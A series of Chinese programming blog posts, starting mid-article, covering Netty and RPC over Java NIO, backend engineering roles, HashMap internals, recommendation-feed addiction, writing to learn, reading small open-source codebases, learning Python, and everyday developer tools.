Host: order.myshop.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; )

Accept: text/html;

Accept-Language: en-US,en;

Accept-Encoding: gzip

Connection: keep-alive

......




看看那User-Agent，Accept-Language ，这个协议明显是为浏览器而生的！但是我这里是程序之间的调用，用这个HTTP有点亏。




能不能自定义一个精简的协议？ 在这个协议中我只需要把要调用方法名和参数发给服务器即可，根本不用这么多乱七八糟的额外信息。




但是自定义协议客户端和服务器端就得直接使用“低级”的Socket了，尤其是服务器端，得能够处理高并发的访问请求才行。 




小明复习了一下服务器端的socket编程，最早的Java是所谓的阻塞IO(Blocking IO)， 想处理多个socket的连接的话需要创建多个线程， 一个线程对应一个。









这种方式写起来倒是挺简单的，但是连接（socket）多了就受不了了，如果真的有成千上万个线程同时处理成千上万个socket，占用大量的空间不说，光是线程之间的切换就是一个巨大的开销。




更重要的是，虽然有大量的socket，但是真正需要处理的（可以读写数据的socket）却不多，大量的线程处于等待数据状态（这也是为什么叫做阻塞的原因），资源浪费得让人心疼。




后来Java为了解决这个问题，又搞了一个非阻塞IO(NIO：Non-Blocking IO，有人也叫做New IO)， 改变了一下思路：通过多路复用的方式让一个线程去处理多个Socket。






这样一来，只需要使用少量的线程就可以搞定多个socket了，线程只需要通过Selector去查一下它所管理的socket集合，哪个Socket的数据准备好了，就去处理哪个Socket，一点儿都不浪费。




好了，就是Java NIO了！




小明先定义了一套精简的RPC的协议，里边规定了如何去调用一个服务，方法名和参数该如何传递，返回值用什么格式......等等。然后雄心勃勃地要把这个协议用Java NIO给实现了。




可是美好的理想很快被无情的现实给击碎， 小明努力了一周就意识到自己陷入了一个大坑之中，Java NIO虽然看起来简单，但是API还是太“低级”了，有太多的复杂性，没有强悍的、一流的编程能力根本无法驾驭，根本做不到高并发情况下的可靠和高效。




小明不死心，继续向领导要人要资源，一定要把这个坑给填上，挣扎了6个月以后，终于实现了一个自己的NIO框架，可以执行高并发的RPC调用了。 




然后又是长达6个月的修修补补，小明经常半夜被叫醒：生产环境的RPC调用无法返回了！ 这样的Bug不知道改了多少个。




在那些不眠之夜中，小明经常仰天长叹：我用NIO做个高并发的RPC框架怎么这么难呐！




一年之后，自研的框架终于稳定，可是小明也从张大胖那里听到了一个让他崩溃的消息： 小明你知道吗?有个叫Netty的开源框架，可以快速地开发高性能的面向协议的服务器和客户端。 易用、健壮、安全、高效，你可以在Netty上轻松实现各种自定义的协议！咱们也试试？




小明赶紧研究，看完后不由得“泪流满面”：这东西怎么不早点出来啊！




好了，这个故事我快编不下去了，要烂尾了。




说说Netty到底是何方神圣， 要解决什么问题吧。




像上面小明的例子，想使用Java NIO来实现一个高性能的RPC框架，调用协议，数据的格式和次序都是自己定义的，现有的HTTP根本玩不转，那使用Netty就是绝佳的选择。




其实游戏领域是个更好的例子，长连接，自定义协议，高并发，Netty就是绝配。




因为Netty本身就是一个基于NIO的网络框架， 封装了Java NIO那些复杂的底层细节，给你提供简单好用的抽象概念来编程。





注意几个关键词，首先它是个框架，是个“半成品”，不能开箱即用，你必须得拿过来做点定制，利用它开发出自己的应用程序，然后才能运行（就像使用Spring那样）。 




一个更加知名的例子就是阿里巴巴的Dubbo了，这个RPC框架的底层用的就是Netty。 




另外一个关键词是高性能，如果你的应用根本没有高并发的压力，那就不一定要用Netty了。

你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》
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老司机经验



                    
                    
                    后端程序员都做些什么？

                                                                                

                    

                    

                    
                    
                    这个问题来自于QQ网友，一句两句说不清楚，索性写个文章。




我刚开始做Web开发的时候，根本没有前端，后端之说。




原因很简单，那个时候服务器端的代码就是一切：接受浏览器的请求，实现业务逻辑，访问数据库，用JSP生成HTML，然后发送给浏览器。




即使后来Javascript在浏览器中添加了一些AJAX的效果，那也是锦上添花，绝对不敢造次。因为页面的HTML主要还是用所谓“套模板”的方式生成：美工生成HTML模板，程序员用JSP,Veloctiy,FreeMaker等技术把动态的内容添加上去，仅此而已。




那个时候最流行的图是这个样子：






在最初的J2EE体系中，这个表示层可不仅仅是浏览器中运行的页面，还包括Java写的桌面端，只是Java在桌面端太不争气， 没有发展起来。





每个程序员都是所谓“全栈”工程师，不仅要搞定HTML, JavaScript, CSS，还要实现业务逻辑，编写访问数据库的代码。等到部署的时候，就把所有的代码打成一个WAR包，往Tomcat指定的目录一扔，测试一下没问题，收工回家！




不差钱的公司会把程序部署到Weblogic，Websphere这样的应用服务器中，还会用上高大上的EJB。




虽然看起来生活“简单”又“惬意”，但实际上也需要实现那些多变的、不讲逻辑的业务需求，苦逼的本质并没有改变。




1
前后端的分离


随着大家对浏览器页面的视觉和交互要求越来越高，“套模板”的方式渐渐无法满足要求，这个所谓的表示层慢慢地迁移到浏览器当中去了，一大批像Angular, ReactJS之类的框架崛起，前后端分离了！





后端的工程师只负责提供接口和数据，专注于业务逻辑的实现，前端取到数据后在浏览器中展示，各司其职。




像Java这样的语言很适合去实现复杂的业务逻辑，尤其是一些MIS系统，行业软件如税务、电力、烟草、金融，通信等等。  所以剥离表示层，只做后端挺合适的。 




但是如果仅仅是实现业务逻辑，那后端也不会需要这么多技术了，搞定SSH/SSM就行了。 




2
后端技术


互联网，尤其是移动互联网开始兴起以后，海量的用户呼啸而来，一个单机部署的小小War包肯定是撑不住了，必须得做分布式。 





原来的单个Tomcat得变成Tomcat的集群，前边弄个Web服务器做请求的负载均衡，不仅如此，还得考虑状态问题，session的一致性。




（老刘注：参见文章《小白科普：分布式和集群》）




业务越来越复杂，我们不得不把某些业务放到一个机器（或集群）上，把另外一部分业务放到另外一个机器（或集群）上，虽然系统的计算能力，处理能力大大增强，但是这些系统之间的通信就变成了头疼的问题，消息队列（MQ)，RPC框架（如Dubbo）应运而生，为了提高通信效率，各种序列化的工具(如Protobuf)也争先空后地问世。




单个数据库也撑不住了，那就做数据库的读写分离，如果还不行，就做分库和分表，把原有的数据库垂直地切一切，或者水平地切一切， 但不管怎么切，都会让应用程序的访问非常麻烦，因为数据要跨库做Join/排序，还需要事务，为了解决这个问题，又有各种各样“数据访问中间件”的工具和产品诞生。




为了最大程度地提高性能，缓存肯定少不了，可以在本机做缓存(如Ehcache)，也可以做分布式缓存(如Redis)，如何搞数据分片，数据迁移，失效转移，这又是一个超级大的主题了。




互联网用户喜欢上传图片和文件，还得搞一个分布式的文件系统（如FastDFS），要求高可用，高可靠。




数据量大了，搜索的需求就自然而然地浮出水面，你得弄一个支持全文索引的搜索引擎(如Elasticsearch ,Solr)出来。




林子大了，什么鸟都有，必须得考虑安全，数据的加密/解密，签名、证书，防止SQL注入，XSS/CSRF等各种攻击。




3
“大后端”


前面提到了这么多的系统，还都是分布式的，每次上线，运维的同学说：把这么多系统协调好，把老子都累死了。





得把持续集成做好，能自动化地部署，自动化测试（其实前端也是如此），后来出现了一个革命化的技术docker， 能够让开发、测试、生成环境保持一致，系统原来只是在环境（如Ngnix, JVM,Tomcat,MySQL等）上部署代码，现在把代码和环境一并打包， 运维的工作一下子就简化了。




公司自己购买服务器比较贵，维护也很麻烦，又难于弹性地增长，那就搞点虚拟的服务器吧，硬盘、内存都可以动态扩展（反正是虚拟的）， 访问量大的时候多用点，没啥访问量了就释放一点，按需分配，很方便，这就是云计算的一个场景。




随着时间的推移，各个公司和系统收集的数据越来越多，都堆成一座大山了，难道就放在那里白白地浪费硬盘空间吗？




有人就惊奇地发现，咦，我们利用这些数据搞点事情啊， 比如把数据好好分析一下，预测一下这个用户的购买/阅读/浏览习惯，给他推荐一点东西嘛。




可是这么多数据，用传统的方式计算好几天甚至好几个月才能出个结果，到时候黄花菜都凉了，所以也得利用分布式的技术，想办法把计算分到各个计算机去，然后再把计算结果收回来， 时势造英雄，Hadoop及其生态系统就应运而生了。




之前听说过一个大前端的概念，把移动端和网页端都归结为“前端”，我这里造个词“大后端”，把那些用户直接接触不到的、发生在服务器端的都归结进来。




4
怎么学？


现在无论是前端还是后端，技术领域多如牛毛，都严重地细分了，所以我认为真正的全栈工程师根本不存在，因为一个人精力有限，不可能搞定这么多技术领域，太难了。





培训机构所说的“全栈”，我认为就是前后端还在拉拉扯扯，藕断丝连，没有彻底分离的时候的“全栈”工程师。




那么问题来了， 后端这么多东西，我该怎么学？




之前写过一篇文章叫做《上天还是入地》，说了学习的广度和深度，在这里也是相通的。




往深度挖掘，可以成为某个技术领域的专家，如搜索方面的专家、安全方面的专家，分布式文件的专家等等，不管是哪个领域，重点都不是学会使用某个工具和框架， 而是保证你可以自己的知识和技术去搞定这个领域的顶尖问题。




往广度发展，各个技术领域都要了解，对于某种需求，能够选取合适的软件和技术架构来实现它，把需求转化成合适的技术组件，让这些组件以合适的方式连接、部署、运行，这也需要持续地学习和不断的经验积累。




最后，以一张漫画来结束吧！





（完）

你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》
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                    为什么要学习HashMap的底层原理？

                                                                                

                    

                    

                    
                    
                    上周发了一篇文章《什么是HashMap》，引起了不少人的讨论，有一个人的留言引发了我的思考：“作为一个程序员， 真的有必要学习这些底层原理吗？ 我会用了不就行了吗？ 为什么面试者喜欢问这么细节的东西呢？”




是啊，在日常的工作中，如果只是做应用层面的业务开发，大多数都是直接把HashMap new 出来，调用put方法，放入key,value 就完了。 




很少人会用到像public HashMap(int initialCapacity, float loadFactor)这样的构造函数，更不会去调整那个loadFactor，也不会关心HashMap的容量为什么是2的幂。




HashMap 提供了一个绝佳的范例，展示了编程中对于数据结构/算法的应用，例如位运算，Hash，数组，链表，红黑树等。我一直强调数据结构对于程序员逻辑思维能力的训练，学习下HashMap的实现原理，绝对是有好处的，但是这个好处显得比较“虚”，有没有更现实一点的意义？ 




我在码农翻身QQ群里做了一个调查：为什么要学习HashMap的底层原理？ 除了面试以外，有什么用处？




各位同学的回答五花八门，比如内功派：




石头：为啥要学？练武功，不要内功，能成为高手么？

AT：不是合理运用底层原理才能写出好的吗？

HQT：就喜欢扒光底层原理的快感.

艺术人生： 越是底层的东西，对于想成为高级程序员越显得重要，必须得学

年年：学过了你会知道“哇靠，原来是这样”、“这个太妙了”，之后在别的问题上，这些奇妙的点可能会给你很大的启发




也有鄙视面试者的：

漠北 ：感觉那个面试的人也是不知道问什么问题。

老王： 问那个问题的人学历一定不高。




有和实际工作密切相关的：

hugo : hashmap这种数据结构在开发中是很常用的， 在高并发的情况下，如果不注意这些数据结构的特性很容易出现各种问题而不知道怎么排查。

Tosh : 我感觉 完全不考虑性能问题 不考虑优化 跟搬砖就真的没区别了

代帧：对于只想拿死工资的人来说不用学习，对于想提升自己，拿到更高offer的人来说，必须要掌握。




其中“老金”和“年年”的回复和我的观点不谋而合、深得我心：

老金： 如果你能坚持看底层原理，至少可以证明是静得下心学习的人， （学会原理）证明了你和其他面试者不一样。




年年：你学了这个一是能够证明你对编程的兴趣不是停留在表面、二是证明你比较有学习的能力。最重要的一点是企业通过这个筛选招聘，你不会就不能进入好的公司，参与大的工程，难以提升自己的水平。




确实是这样，现在软件和互联网很火爆，很多人转行“入坑”，造成一个现象就是初级程序员过剩，那企业在挑选的时候怎么办呢？ 他们怎么筛选呢？ 




对于一些技术驱动型公司来讲，他们肯定要挑选那些基础更扎实的人，因为在工作中这些基础知识会被直接使用。




对于业务驱动型公司（在国内估计是占大多数），面对大量的候选人，他们要看一个人是不是只是浮在表面， 有没有兴趣、有没有能力挖掘底层，虽然这些底层的原理在工作中并不会直接去使用！ 很明显，这样的程序员成长的空间更大，也更能发挥价值。




这里边有个潜台词就是： 你把这么底层的原理都搞定了，应用层那点破事儿还不是手到擒来？！




“面试造航母，工作拧螺丝” 不无道理，听起来有点无奈和残酷。




我回想了我多年前经历的几次面试，Java这一块儿好像没有人问过我HashMap原理这样细节的问题，也许我们那个时代的先进技术在现在看来非常落伍，还在折腾MVC, AJAX这些东西， 远远比不上现在的同学们了。大家现在要学的东西，掌握的东西已经不可同日耳语了，门槛提高了！




技术的发展，知识的积累就是这样，一代更比一代强。




接下来的一个问题就是，如果大家都掌握了这些原理怎么办？  




我估计门槛会再度提高， 没办法，程序员就是这么苦逼， 不过好处就是：也许你成为面试官了......




PS：你觉得为什么要学习HashMap的底层原理？除了面试之外有什么实际用处？ 欢迎留言！

（完）

你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》
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                    小心，别被今日头条给困住了！

                                                                                

                    

                    

                    
                    
                    




大概是在2013年，春节期间有个亲戚的小孩来我家玩，我问他： 你们年轻人现在都玩什么App啊， 他给我说了一个陌生的名字： 今日头条。




当时网易新闻正如日中天，我好奇地问你们不看网易新闻吗？  他说不看， 只看今日头条。  我心里感慨说年轻人还是喜欢追新东西啊。




我也随手下载了一个，翻了翻感觉也不过如此啊，还不如网易新闻的内容丰富呢。 可能是当时今日头条还处于起步阶段，内容不多，算法不精。 




于是我就把它卸载了，继续看我的网易新闻， 又过了两年，身边安装今日头条，看今日头条的人越来越多， 它的实体广告牌也开始慢慢在街头出现 ： 你关心的，才是头条。 




等我再次下载安装以后就发现，变化不小， 内容多了，推荐得很厉害， 首先它会尝试着给你推荐一些文章， 如果你点开看了，它就拼命给你推荐类似的文章， 除非你有意地点一下那个“不感兴趣”的小叉叉。 




后来其中出现了短视频，有段时间我很喜欢看《潜伏》 ，于是今日头条就卯足了劲给我发《潜伏》的短视频，都是从原来的电视连续剧中截取出的一些经典桥段，让我在碎片时间看得不亦乐乎。 我心说这App好啊， 真是智能。 




我喜欢军事， 它就给我推荐J20的视频和文章。 我喜欢巴萨，满屏都是西甲，梅西，MSN。 我可以一篇又一篇地看下去，新鲜的看完了，下拉刷新， 马上冒出新的一批， 无穷无尽。 




可是很快就发现， 文章的重复度太高了，一个小小的噱头都能出现几十篇文章。比如央视报道了沈阳黎明发动机集团，说J20的发动机零部件的加工和最终装配都是在这里完成的， 然后我的今日头条中就疯狂地出现什么WS-15就要上J20的文章， 说得有鼻子有眼，头头是道儿。




再比如城市之间的比较，谁是新一线，准一线，准二线，深圳什么时候超越广州，南京GDP什么时候超越苏州，成都重庆谁厉害， 郑州怎么能成为国家中心城市, 谁才是真正的高铁枢纽，谁是亚洲最大高铁站......诸如此类的， 只要你喜欢看，文章就会推到你的眼前。 




还有就是新手机还未上市之前的 “解密”， 我的天， 每篇文章都在那里说配置、屏幕、尺寸、价格， 连渲染图都是铺天盖地，不厌其烦。




很明显，这些追逐热点的文章都是在抓人的注意力： 使用耸人听闻的标题，引诱你去点击，点击以后头条会以为你喜欢，再给你推荐更多的垃圾信息。 




这个App真是充分利用了人性的弱点：猎奇。  




有段时间我感觉大脑的结构都要被改变了，变得喜欢这种刺激的标题，喜欢点击这种信息垃圾， 喜欢一直不断地看下去，当然，时间也就悄悄地溜走了。




慢慢地，我感觉被今日头条给困住了。它像一个机器不断地通过管道给我输送信息碎片，我不用思考，信息碎片就会源源不断地端上来，喂给我，塞给我。  我感觉到它在背后偷偷地笑： “看看，又一个上瘾的家伙！”




果断删除！ 还是去看网易新闻，但很快发现网易新闻也变成同一个德性了， 都是以推荐为主， 严重同质化， 都删除吧，现在世界清静了。




记得08,09年我周末经常去纸老虎（不知道它现在还活着不）去“蹭”杂志看， 那个时候信息也少，看看杂志上的一些深度报道，感觉很幸福。 




在网上都是到新浪去看新闻，当时的内容还主要靠记者和网站编辑。 后来博客兴起，个体的声音变得越来越响亮，但还很少见到用耸人听闻的标题来吸引人的注意，大家也都是主动地去找信息、去搜索。 




微博、微信流行以后，你关注的人，你的朋友可以给你推送各种信息，自媒体开始爆发， 朋友圈中各种带着“吓人”标题的文章也越来越多，只不过它不会给你推荐同类文章而已。想想也挺有意思的，今日头条是机器推荐/算法推荐，这朋友圈是好友推荐，你会喜欢哪一个？　




当然在这里抱怨今日头条是不对的，人家毕竟只是一个App而已，还是自己禁不住诱惑，掉入了温柔的陷阱，乐不思蜀。　




其实今日头条中也有不少优质的、深度的内容，只是很容易被更加娱乐化、更加刺激眼球的东西给淹没。看今日头条，娱乐一下是没有问题的，只是小心别被它给困住了！ 




你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》
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                    对自己狠一点，开始写作吧

                                                                                

                    

                    

                    
                    
                    我时常会有这样的感觉： 自己心里觉得对一个技术点已经掌握了， 但是当我试图给别人讲述的时候，发现并不能轻松自如、深入浅出地讲出来。




这就说明了一个问题： 自认为掌握了，其实并没有真正地掌握， 大脑只是对这个技术建立了一个整体的概念，在一些细节处做了想当然的假设，等到你用语言再来表达的时候发现，哦， 原来这个假设并不完全成立，是有问题的。




在学习吸收率金字塔中， “转教别人(Teach others)”属于主动学习， 效率是最高的。 但是在工作和生活当中， 你是很少有机会去给别人讲授的。








那怎么办？ 总不能拉着你正忙着的同事说： 哥们， 来， 我刚学了CQRS，我给你讲讲吧。




也许你的同事很有礼貌， 耐着性子听你磕磕碰碰地讲完了，然后不知所云， 前几次还行，次数多了，就对你敬而远之。




既然没法给别人讲，那就退而求其次吧， 把自己的理解写出来。




当然不是泛泛地记流水账，或者把几个孤立的点罗列在那里， 而是要把思路理清楚， 尤其是要写出为什么要有这个技术？这个技术解决了什么问题，然后才是这个技术是怎么使用的。　




当你逼着自己去回答这些问题的时候，很快就会发现，自己的理解还不够，还需要查找更多的资料。




在你通过google找资料的时候， 你会发现，哎呀，网上的这些文章怎么这么差劲，重复的内容这么多， 大部分都是复制、粘贴。大部分都是在讲述怎么使用， 对于“为什么” 从来都是只字不提，或者犹抱琵琶半遮面 ， 羞羞答答的不说出来。




这个整理资料和思考的过程是很珍贵的， 这样才能把信息变成你自身的知识。




如果实在搞不定，就带着问题去论坛提问，去QQ群发言，找大牛请教， 总是可以解决的。




举个例子，你接触到了一个新的知识点： Java 动态代理。




你也看了书或视频中的代码，知道了这个技术是怎么使用的，接下来想要写篇文章， 首先要努力阐明的问题就是“为什么要用Java 动态代理”？   这玩意儿到底要干嘛？ 我已经知道了它能够对一个类进行增强， 还是在运行时做的增强， 但是增强一个类有什么用处？




我完全可以新写一个类对原有的类做增强啊？ 为什么要在运行时做呢？




如果你顺着这个思路挖掘下去，会在通道的尽头找到一个宝贝： AOP。




具体到技术层面，还有一个问题， 就是为什么Java 动态代理只能对interface进行操作？  不能对class进行操作？    这个问题如果也深挖下去， 你会发现另外一个宝贝： 动态字节码的生成。




继续深挖就能看到ASM, CGLib这样的东西， 看到他们怎么在内存中操作class文件的字节码， 字节码的格式是什么样子的？ 只好去看看Java虚拟机了。




到了最后，你也许会体会到， 奥， 原来Java是一门静态语言，  在运行时不能对现有的方法逻辑进行修改，不能新添加方法， 所以得用别的手段，如ASM, 动态代理等创建一个新类来做点“额外的”事情。




赶紧写一篇文章吧，把挖掘的结果记录下来，别人只是学会了什么Java 动态代理，这只是冰山的一角，  而你则看到了整个冰山。









有人可能要问了： 我也可以按照这个思路去学习，为什么要写下来呢？  原因很简单，不写出来，很容易放弃深度思考。你会觉得，哎呀我已经知道怎么回事了 -- 其实一些关键的细节被大脑给忽略了。




我们已经进入了一个碎片化的时代， 我们的大脑已经养成了碎片化的习惯，一天不看碎片化的信息就觉得不舒服， 这样下去会慢慢地丧失深度思考的能力。




写作会逼着你去思考，梳理知识体系，防止自己被碎片给填满。




其实很多人都知道写作是一件很好的事情， 就是犯懒，执行不下去。 还是行动起来吧！ 逼自己一把，对自己狠一点 ！  有自制力的人， 能够坚持的人才更有可能成功！




ps : 写出了好文章， 欢迎向老刘投稿啊。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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                    开源代码啃不动，不如先定个小目标

                                                                                

                    

                    

                    
                    
                    刚工作的张大胖问Bill : “大神， 阅读源码到底有嘛用？ ”




Bill笑了： “老祖宗早就给我们总结好了，‘熟读唐诗三百首， 不会作诗也会吟’， 你想想，你刚学Java那会儿，不就是比葫芦画瓢，‘抄袭’着别人的源码成长起来的吗？ ”




“啊，那也算源码吗？ 都是小例子啊？”




“当然算了” Bill 说  “还有， 你刚开始工作的时候， 不都是先看看别人是怎么写的， 然后自己才能摸索着干活吗？ ”




“ 是啊， 不过我们的项目代码之烂， 我看了第一遍， 永远不想看第二遍。 每次改bug我都痛苦不堪。”




“你们的项目代码惨不忍睹，你想提升自己的功力，阅读优秀的开源代码是不二法门， 这些代码中会展示优秀的设计和实践，还有很多编程的惯用法，你仔细阅读，认真思考，再想办法应用到工作的项目中， 对自己和项目都是极有好处的。”




“听大神这么说，我已经迫不及待地要去读了。”




“别着急， 网上有很多怎么阅读开源代码的文章， 从哪里寻找源码， 用什么工具辅助阅读， 甚至怎么做笔记都讲了很多。 磨刀不误砍柴工， 你先看看这些文章，做个准备再开始吧。”




一周后。




张大胖垂头丧气地来找Bill 了： “大神， 这开源的代码简直是没法看！”




“为什么啊？ 我不是让你看介绍代码的文章， 后来还专门推荐相关图书了吗？”




“ 是啊，人家说得头头是道，可是等到我自己把Spring代码下载下来， 开始阅读的时候就晕菜了！”。




“我应该给你说过一定要把它运行起来，不但要看静态的代码，还有观察动态的行为！ 两者结合起来才能透彻的理解”




张大胖说：“我运行了起来了啊， 但是这源代码实在是太多了，千头万绪， 我好不容易找到入口点， 很快就调到细节的坑里， 这函数一层调用一层， 都不知道调用了多少层， 花费了我一个下午， 我发现只看了一个微不足道的小功能， 这性价比实在是太低了，我是坚持不下去了。 ”




Bill 表示了深切的同情， 确实如此，很多知名的开源软件都发展了10年以上，期间有无数的牛人添砖加瓦，这才盖起一个个宏伟的高楼。  比如Hibernate, Spring 都有几十万，上百万行代码， 像Linux这样的巨无霸都是千万级别的了，你看得过来吗？




Bill意识到自己犯了一个错误，不应该让刚刚工作的，经验还不足的张大胖同学去啃这些大块头，相反应该让他先去读一些小而美的源码，逐渐适应，等到有经验了再去努力驾驭那些巨无霸。




不要想着一口吃个胖子， 既然看不了复杂的，先去看点简单的如何？  




Bill打定了主意：“大胖， 最新版的Spring 你不要再看了， 我给你推荐几个简单的源码JUnit 3.8.1,  Spring0.9 。”




“啊，这也太老古董了吧， 我要是和别人聊起来，人家还不笑死我？”




“我给你说啊， 其实一个开源软件它的核心思想是非常简单的， 比如Spring 就是AOP, IOC，比如JUnit就是让人轻松地写单元测试然后自动运行。 后期新版本的代码虽然复杂， 但都是基于这些核心概念的扩展。  这些代码虽然比较古老， 但麻雀虽小，五脏俱全， 特别是阅读难度极大降低， 从百万行级降到几万行，甚至几千行， 你能关注核心概念的实现，不会被枝枝蔓蔓迷住双眼。 ”




“是吗， 代码量降了这么多， 这给了我一点信心啊， 但是这么古老的代码，质量怎么样？”




“这你放心， 源码虽然古老，但毕竟是大牛出品，质量依然是顶级的，绝对可以学到很多东西。”




“那我看完早期版本，再去看新版本不还是看不明白？” 张大胖还是对大块头儿恋恋不舍。




“由于核心思想是一脉相承的，你看完早期版本， 再去看比较新的版本，会有一种似曾相识的亲切感（当然前提是软件设计没有发生颠覆性变化），非常有利于后续阅读。”




“既然早期的代码简单，我看完以后是不是可以仿照着造个轮子？”




“没错，那样收获肯定更大。其实还有一点我特别想强调的是，你会拥有一次完整的开源代码的阅读体验，会觉得大牛写的代码也就这样啊，从而有信心继续阅读， 这样正反馈就建立起来了。”




张大胖说：“好的，大神，你这么一说我又有信心了，先定个小目标，把JUnit3.8.1给搞定了！”




ps ： JUnit3.x版本是使用设计模式的典范， 抛去UI部分，只有两千多行代码，你绝对值得拥有。 点击文末的阅读原文可以下载。



你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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                    Python这么简单还用学吗？

                                                                                

                    

                    

                    
                    
                    有位C++的大神在讲课时提到了Python,  听课的同学问道： 我是不是需要学习一下Python?




大神说：“Python 这么简单还用学吗？ ”  




在大神的眼中， 像Python这样简单的语言， 看半天就应该能上手编程了， 根本不用战战兢兢地抱着一本大厚书去啃。 




大神是有资格这么说，毕竟C++是一门非常复杂的语言， 这么复杂的都能搞定， 其他的自然不在话下。




从纯语言的角度来看，这么说完全是没有问题的，我相信很多人，如果你学会了一门编程语言，开始学第二门的时候，都会有类似的感觉。




比如你学会了Java， 然后开始看Python， 会发现有很多相似之处。




例如： 编程中最常用的一些数据结构非常相像：




	Python
	Java


	String 

	String


	List 
	List

ArrayList, LinkedList 等




	Dictionary
	Map

HashMap, TreeMap,LinkedHashMap等




	Set
	Set

HashSet, TreeSet, LinkedHashSet 等











流程控制语句也很像，无非都是if...else , for , while 等等。




面向对象的编程都要有类和对象，成员变量，成员方法，都要有封装、继承、多态。




文件IO也是如此，无非就是打开一个文件，定位到某个地方进行读写操作，关闭文件。




每个高级语言都支持多线程编程， Python也不例外，可以轻松地创建线程，线程之间也有同步和互斥， 也使用ThreadLocal来保存每个线程独有的数据， 名称都和Java一样。




网络编程无非就是Socket,  XML解析就是DOM和SAX， 邮件发送使用SMTP, POP3......




所以有了一门语言相对复杂的语言做基础（如Java）, 再去学习Python, 确实非常容易。 半天时间就能把Python看个差不多，然后直接就可以写程序了， 在写的过程中如果哪个地方不清楚了， API接口名称忘记了（尤其是那些细微差别的地方），去翻参考书、去网上搜，很快搞定。




刚开始编程的时候比较慢， 等你熟练了以后，会越来越快。 




一门高级语言的基础概念其实就那么多：数据类型、集合、流程控制、面向对象、文件、Socket、XML、JSON  等， 你从某一门语言中学会了，切换到另外一门，所要变换的无非就是基本的语法、API接口、惯用法和最佳实践。




可能有人要说了，这些都是基础的东西，只能让我写点小程序，做不了什么大事啊。




没错，这些东西都是基础，想做出有用的程序，还必须得学会使用类库和框架。但是不同类库和框架所依赖的基础知识和概念也是相通的。　




就拿Web编程来说，必须要掌握几个基础知识是一样的：HTTP协议，HTML, Javascript, CSS，SQL。 然后不同语言，不同框架要解决的问题也是一样的：

URL 和 代码的映射

数据的验证、转换和绑定

Web安全

数据库的访问, O/R Mapping

用什么技术来生成Web页面？

如何把对象变成XML或者JSON字符串？




（详情请移步《搞懂了这几点，你就学会了Web编程》）




通过一门语言，把这些基本原理掌握了，换到另外一个语言和框架，真的不难 。 




如果再向上走，进入设计层面，把业务需求抽象成各种概念，设计高内聚、低耦合的模块，那和具体的语言关联度就更小了。 




回到文章最初的话题，我其实想表达的是：不用着急去追逐那些热门的编程语言，只要把一门语言学精了，把一些基础概念和基础知识掌握了，再去学别的，真的不难， 就是一个知不知道，熟不熟练的问题。




特别要注意一些无良的机构，挂羊头卖狗肉，什么火热就培训什么，人工智能， VR,  物联网，云计算， 吸引人交钱入坑，真的开始学了发现只是学习一下Python而已。 




（完）




你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！























                    
                    
                    作为一个有追求的程序员，你应该掌握的七种武器

                                                                                

                    

                    

                    
                    
                    1科学上网





虽然国内互联网一片热闹的景象，但我们不得不承认，从硬件到软件，从协议到标准，我们现在使用的绝大部分技术都是起源于墙外，而Google是检索这些第一手技术的最好的手段，没有之一。




所以对码农来说，可以自由地浏览是非常有必要的。





有很多种科学上网方式，笔者推荐自己买海外主机搭建SS Server,可以和亲近朋友一起使用一台，具体怎么做就不是这篇文章能展开的了，大家可以百度下。




2剪贴板





相信大家最常用的快捷键就是复制和粘贴了。




假如你刚刚从Wiki的设计文档把一个API的URL复制下来准备写代码，发现经常聊天的一个技术群弹出一个消息，有个妹子问一个技术问题，凭借自己对技术的感觉很快在Stackoverflow搜到了答案， 赶紧把答案复制过去；突然又收到产品群发的一个邮件需要你去撕逼，写了几句之后，觉得某个措辞应该放到后面，刚剪切了第一句；经理在IM上让你把某个需求的Jira链接发给他......




你如果经常遇到这种情况，首先考虑的应该是把所有的打扰都屏蔽掉，如果做不到，那就安装一个剪贴板工具吧。




Windows下推荐ditto，Mac下推荐Alfred自带的。顺便提一下，类似Mac下的Alfred这种工具（Windows下的有TotalCommander），如果能研究透彻，会极大的提高工作效率。




3抓包





现在很多产品和需求都需要通过网络与用户或其他服务打交道。如果能细细的查看通过网络发送接收的数据内容，那发现和定位问题就会方便得多，这也是抓包工具的重要功能了。




Windows下的Fiddler，Mac下 的Charles都非常强大。这两者通过安装证书，甚至可以直接抓取Https的网络。





基于Web的应用，也可以直接考虑浏览器的开发者工具。例如，Chrome的开发者工具就非常强大：用XPath可以直接找到元素，可以直接修改元素的值和属性。 




如果想做更深层次的抓包，可以研究下Wireshark。




4文本编辑器





程序员经常要跟各种日志和数据打交道，一个熟悉的文本编辑器可以事半功倍。




笔者比较常用的功能有列模式，例如把一些数据直接编辑成SQL；正则替换，例如从不太标准的日志中提取自己所需的内容。




文本编辑器免费的有Sublime Text/Atom,商业软件有UltraEdit等。另外还有一种基于终端的文本编辑器，例如Nano/Vim/Emacs。如果从事Server开发，掌握这些编辑器的查找、修改、行号等功能是非常有必要的。




5笔记





在这个信息爆炸的时代，搜索引擎有时候也捉襟见肘。




子曰："吾日三省吾身"，做笔记是一个非常好的反省自己的手段，对每天的收获进行记录和整理，也方便后续快速解决类似问题。




市面上的笔记产品大同小异，笔者一直使用有道云笔记：支持MarkDown语法，免费，跨平台。 另外，思维导图也是一个非常好的整理自己知识的工具。




6脚本语言





假如突然接到一个这样的临时需求：需要给客户端提供一个模拟服务器，根据请求内容的不同，返回相应的JSON。




这个需求用Python SimpleHTTPServer十几行代码就能实现。很多类似的临时需求，还有需要快速验证的想法，以及粘合多个系统，脚本语言是最合适的。




